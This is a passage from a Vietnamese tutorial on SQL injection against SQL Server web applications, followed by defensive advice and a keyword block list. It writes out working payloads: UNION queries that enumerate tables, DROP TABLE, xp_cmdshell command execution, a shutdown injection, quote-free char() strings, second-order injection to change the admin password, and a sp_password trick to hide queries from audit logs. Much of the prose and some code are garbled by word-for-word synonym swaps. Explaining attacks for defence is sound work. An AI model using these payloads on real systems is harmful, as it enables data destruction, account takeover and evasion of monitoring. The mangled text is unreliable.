Table WHERE " "=" - lúc này, ko kể câu tầm nã vấn đầu ko thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. - tất nhiên các ví dụ nói trên, trong khi không có gì nguy hiểm, nhưng hãy test tưởng tượng kẻ tấn công rất có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào những đoạn lệnh gian nguy như lệnh DROP TABLE. Lấy ví dụ như như: " DROP TABLE T_AUTHORS -- - chắc chắn các bạn sẽ thắc mắc là làm thế nào biết được vận dụng web bị lỗi dạng này được. Rất solo giản, hãy nhập vào chuỗi (*) như trên, nếu khối hệ thống báo lỗi về cú pháp dạng: Invalid object name “Other
Table”; ta hoàn toàn có thể biết chắn chắn là hệ thống đã tiến hành câu SELECT sau trường đoản cú khóa UNION, vì như vậy mới hoàn toàn có thể trả về lỗi nhưng ta đã cầm cố tình tạo ra trong câu lệnh SELECT. - cũng trở thành có thắc mắc là làm nắm nào hoàn toàn có thể biết được tên của những bảng tài liệu mà tiến hành các thao tác làm việc phá hoại khi vận dụng web bị lỗi SQL injection. Cũng khá đơn giản, cũng chính vì trong SQL Server, bao gồm hai đối tượng người dùng là sysobjects cùng syscolumns cho phép liệt kê tất cả các thương hiệu bảng cùng cột bao gồm trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, lấy ví dụ như: " UNION SELECT name FROM sysobjects WHERE xtype = "U" là hoàn toàn có thể liệt kê được tên toàn bộ các bảng dữ liệu. Iii. Dạng tấn công sử dụng câu lệnh INSERT - thường thì các áp dụng web cho phép người sử dụng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, tín đồ dùng có thể xem với hiệu chỉnh tin tức của mình. SQL injection rất có thể được cần sử dụng khi hệ thống không soát sổ tính đúng theo lệ của tin tức nhập vào. Ví dụ, một câu lệnh INSERT hoàn toàn có thể có cú pháp dạng: INSERT INTO Table
Name VALUES("Value One", "Value Two", "Value Three"). Trường hợp đoạn mã desgin câu lệnh SQL gồm dạng : - Thì chắc hẳn rằng sẽ bị lỗi SQL injection, cũng chính vì nếu ta nhập vào trường thứ nhất ví dụ như: " + (SELECT vị trí cao nhất 1 Field
Name FROM Table
Name) + ". Hôm nay câu truy hỏi vấn đang là: INSERT INTO Table
Name VALUES(" " + (SELECT top 1 Field
Name FROM Table
Name) + " ", "abc", "def"). Lúc đó, lúc thực hiện lệnh coi thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là: SELECT đứng top 1 Field
Name FROM Table
Name function escape( input ) input đầu vào = replace(input, """, """") escape = input đầu vào end function iiii. Dạng tiến công sử dụng stored-procedures - việc tấn công bằng stored-procedures đã gây mối đe dọa rất bự nếu vận dụng được thực thi với quyền quản trị khối hệ thống "sa". - Ví dụ: trường hợp ta cố gắng đoạn mã tiêm vào dạng: " ; EXEC xp_cmdshell ‘cmd.exe dir C: ". - bây giờ hệ thống sẽ tiến hành lệnh liệt kê thư mục trên ổ đĩa C: setup server. - bài toán phá hoại dạng hình nào tuỳ trực thuộc vào câu lệnh ẩn dưới cmd.exe. Nếu download SQL vps ở chế độ mặc định thì SQL Server chạy xe trên nền SYSTEM, tương tự mức truy vấn ở Windows. Có thể dùng master..xp_cmdshell nhằm thi hành lệnh từ xa: ; exec master..xp_cmdshell "ping 10.10.1.2"-- Thử cần sử dụng dấu nháy song (") nếu lốt nháy đơn (") không làm việc. Dưới đây là một số extended stored procedure mà hacker thường hay được dùng để triển khai những câu lệnh coi nội dung thông tin trong máy nạn nhân: Xp_availablemedia: Hiển thị mọi ổ đĩa hiện nay hành trên sản phẩm công nghệ Xp_dirtree: Hiển thị toàn bộ các thư mục kể cả thư mục bé Xp_loginconfig: Lấy tin tức về cơ chế bảo mật trên vps Xp_makecab: cho phép người sử dụng tạo các tập tin tàng trữ trên server (hay bất kể tập tin nào mà lại server hoàn toàn có thể truy xuất Xp_ntsec_enumdomain: liệt kê đa số domain cơ mà server hoàn toàn có thể truy vấn. Xp_terminate_process: chấm dứt một quá trình với thông số PID của nó. Iiiii. Tiến công SQL Injection nâng cao. • Chuỗi kí tự không có dấu nháy đơn: - đa số nhà lập trình gồm thể bảo đảm ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường sa thải dấu nháy bằng cách thay một vết nháy thành 2 vết nháy. Ví dụ như a.1 : INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff) username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.Create
Object("ADODB.Recordset"); var sql = "select * from users where username = "" + username + "" và password = "" + oldpassword + """; rso.open( sql, cn ); if (rso.EOF) ví dụ là, nó ngăn ngừa được toàn bộ những kiểu tiến công trên. Mặc dù nếu muốn tạo thành một chuỗi giá bán trị nhưng không dùng những dấu nháy, có thể dùng hàm “char()” như lấy ví dụ sau: lấy một ví dụ a.2: ví dụ a.2 bên trên tuy là một câu truy vấn vấn không có dấu nháy đối kháng nào nhưng lại nó vẫn hoàn toàn có thể insert chuỗi vào bảng, và tương tự với: INSERT into User VALUES( 666,’chris’,’chris’,255) tin tặc cũng có thể chọn username , password là sốđể tránh dấu nháy như lấy ví dụ như sau: lấy ví dụ a.3: INSERT into User VALUES( 667,123,123,0xffff) SQL server sẽ auto chuyển từ bỏ số quý phái chuỗi. • tấn công 2 tầng: - tuy vậy ứng dụng đã sửa chữa thay thế dấu nháy 1-1 nhưng vẫn còn tài năng bị chèn đoạn mã SQL . Lấy ví dụ b.1: Để đăng kí account trong ứng dụng, nhập username như sau: Username: admin"— Password: passofadmin - Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert vẫn như sau: INSERT into User VALUES(123, "admin""--", "password",0xffff) (nhưng trong cơ sở dữ liệu sẽ giữ là “admin’--“) - đưa sử rằng ứng dụng chất nhận được người dùng đổi khác mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo an toàn rằng người sử dụng phải nhập đúng mật khẩu đăng nhập cũ trước khi nhập password mới. Đoạn mã như sau: - Câu truy vấn vấn cấu hình thiết lập mật khẩu bắt đầu như sau: sql = "update users set password = "" + newpassword + "" where username= "" + rso("username") + """ rso(“username”) chính là giá trị username giành được câu truy vấn vấn login cùng nó là admin’-- Câu truy tìm vấn từ bây giờ như sau: update users phối password = "password" where username = "admin"--" - dựa vào đó hacker có thể đổi khác mật khẩu của admin bằng giá trị của mình. Đây là 1 trong những trường hợp còn mãi sau trong phần lớn những vận dụng lớn ngày này có sử dụng cơ chế sa thải dữ liệu. Phương án tốt tốt nhất là loại trừ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vụ việc là có một số ô nhập dữ liệu (như ô nhập tên) có thể chấp nhận được những kí trường đoản cú này. Ví dụ: O’Brien. - Cách tốt nhất có thể để giải quyết và xử lý vấn đề này là không có thể chấp nhận được nhập vệt nháy đơn. Nếu điều đó không thể thựchiện được , thì thải trừ và thay thế sửa chữa như trên. Vào trường phù hợp này, cách rất tốt là đảm bảo tất cả dữ liệu được gửi vào câu truy vấn SQL (kể cả hồ hết giá trị trong các đại lý dữ liệu) bắt buộc được điều hành và kiểm soát một bí quyết chặt chẽ. Một số trong những ứng dụng phòng chống vấn đề thêm câu truy tìm vấn từ tín đồ dùng bằng cách giới hạn chiều lâu năm của ô nhập. Mặc dù nhiên, với số lượng giới hạn này thì một trong những kiểu tấn công không thể tiến hành được nhưng vẫn có chỗ hở để hacker lợi dụng. Lấy một ví dụ b.2: đưa sử cả username cùng password hầu như bị giớihạn buổi tối đa là 16 kí tự.Nhập: Username: aaaaaaaaaaaaaaa’ Password :‘; shutdown-- Ứng dụng sẽ thay thế một lốt nháy 1-1 bằng hai dấu nháy đơn nhưng do chiều lâu năm chuỗi bị giới hạn chỉ là 16 kí tự yêu cầu dấu nháy đơn vừa được thêm sẽ bị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ tác dụng là username trong câu lệnh có mức giá trị là: aaaaaaaaaaaaaaa’ and password=’ iiiii.3. Tránh sự kiểm soát: - SQL server gồm một giao thức kiểm soát chặt chẽ bằng bọn họ hàm sp_trace
XXX, có thể chấp nhận được ghi nhân nhiều sự kiện xẩy ra trong đại lý dữ liệu. Đặc biệt là các sự khiếu nại T-SQL, ghi dấn lại tất cả các câu lệnh SQL tiến hành trên Server. Nếu cơ chế kiểm rà soát được bật thì toàn bộ các câu truy hỏi vấn SQL của hacker cũng trở thành ghi nhận cùng nhờ đó mà một tín đồ quản trị có thể kiểm soát hầu như gì đang xảy ra và gấp rút tìm ra được giải pháp. Nhưng cũng có một phương pháp để chống lại điều này, bằng phương pháp thêm chiếc “sp_password” vào câu lệnh T-SQL, do khi gặp chuỗi này thì việc kiểm tra vẫn ghi nhậnnhư sau: -- ‘sp_password’ was found in the text of this event. -- The text has benn replaced with this bình luận for security reasons. Ngay cả khi “sp_password” lộ diện trong phần chú thích. Vì thế để dấu toàn bộ câu truy tìm vấn tấn công, chỉ cần đơn giản là thêm sp_password vào sau cùng ‘--’ như sau: 2.3.2.Cách Phòng kị SQL Injection - Như vậy, rất có thể thấy lỗi SQL injection khai thác những bất cẩn của những lập trình viên cách tân và phát triển ứng dụng web lúc xử lí những dữ liệu nhập vào để xuất bản câu lệnh SQL. Mối đe dọa từ lỗi SQL injection tùy nằm trong vào môi trường xung quanh và cách thông số kỹ thuật hệ thống. Nếu như ứng dụng thực hiện quyền dbo (quyền của fan sở cơ học sở dữ liệu - owner) khi thao tác làm việc dữ liệu, nó có thể xóa toàn cục các bảng dữ liệu, tạo những bảng tài liệu mới, … giả dụ ứng dụng thực hiện quyền sa (quyền quản ngại trị hệ thống), nó có thể điều khiển toàn thể hệ quản trị cơ sở dữ liệu và với quyền lợi và nghĩa vụ rộng mập như vậy nó hoàn toàn có thể tạo ra những tài khoản tín đồ dùng phi pháp để điều khiển hệ thống của bạn. • Trong phần lớn trình duyệt, đa số kí tự phải được mã hoá trên địa chỉ URL trước lúc được sử dụng. • Việc tấn công theo SQL Injection nhờ vào những câu thông tin lỗi vì thế việc phòng phòng hay nhất vẫn chính là không đến hiển thị đều thông điệp lỗi cho người dùng bằng phương pháp thay thế gần như lỗi thông báo bằng 1 trang do fan phát triển xây dựng mỗi lúc lỗi xảy ra trên ứng dụng. • đánh giá kĩ cực hiếm nhập vào của tín đồ dùng, sửa chữa thay thế những kí tự như ‘ ; v..v.. Hãy sa thải các kí trường đoản cú meta như “",",/,,;“ và những kí từ extend như NULL, CR, LF, ... Trong các string nhận được từ: o tài liệu nhập do người tiêu dùng đệ trình o các tham số trường đoản cú URL o những giá trị tự cookie • Đối với những giá trị numeric, hãy gửi nó sang trọng integer trước khi thực hiện câu truy nã vấn
SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. • sử dụng thuật toán để mã hoá dữ liệu i. Kiểm tra dữ liệu - khám nghiệm tính đúng đắn của dữ liệu là 1 trong vấn đề phức hợp và thường chưa được quan vai trung phong đúng mức trong các ứng dụng. Xu hướng của việc kiểm tra tính đúng chuẩn của dữ liệu chưa hẳn là chỉ việc thêm một số công dụng vào ứng dụng, mà buộc phải kiểm tra một giải pháp tổng quát hối hả để dành được mục đích. - phần đa tóm tắt dưới đây sẽ bàn về bài toán kiểm tra tính chính xác của dữ liệu, cùng với ví dụ chủng loại để minh hoạ cho vụ việc này. Gồm ba chiến thuật tiếp cận vụ việc này: 1) nỗ lực kiểm tra và chỉnh sửa để triển khai cho dữ liệu hợp lệ. 2) loại trừ những dữ liệu bất phù hợp lệ. 3) Chỉ chấp nhận những tài liệu hợp lệ • chiến thuật 1: khó thực hiện - sản phẩm công nghệ nhất, bạn lập trình không cần thiết phải biết toàn bộ dữ liệu bất thích hợp lệ, chính vì những dạng tài liệu bất hợplệ hết sức đa dạng. - vật dụng hai, là vụ việc của trường hòa hợp bị tấn công 2 tầng (second-oder SQL injection) trong câu hỏi lấy tài liệu từ hệ thống ra. • giải pháp 2: bị vô hiệu trong những trường hòa hợp như giải pháp 1 là do : - dữ liệu bất phù hợp lệ luôn luôn luôn đổi khác và cùng với việc cách tân và phát triển các kiểu tấn công mới. • chiến thuật 3: tốt hơn hai giải pháp kia, mà lại sẽ gặp mặt một số tinh giảm khi tải đặt. - phương pháp bảo mật tốt nhất có thể là phối hợp cả chiến thuật 2 với 3. Một ví dụ mang đến sự quan trọng kết hòa hợp 2-3 là lốt nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ốp ngang trong cỗ định nghĩa tài liệu hợp lệ, nhưng lại chuỗi kí tự “--“ là 1 chuỗi kí tự đặc trưng trong SQL server. - lấy ví dụ nếu tất cả bộ lọc nhằm : function escape( đầu vào ) input = replace(input, """, """") escape = đầu vào end function function validate_string( input đầu vào ) known_bad = array("select","insert", "update", "delete", "drop","--", """ ) validate_string = true for i = lbound( known_bad ) khổng lồ ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) then validate_string = false exit function over if next over function function validatepassword( input đầu vào ) good_password_chars = "abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to lớn len( đầu vào ) c = mid( input, i, 1 ) if ( In
Str( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next over function + Lọc bỏ những tài liệu bất phù hợp lệ như ‘--‘,’select’ và ‘union’ + Một hàm kiểm soát để loại trừ dấu nháy đơn thì hoàn toàn có thể đối phó như sau. Uni’on se’lect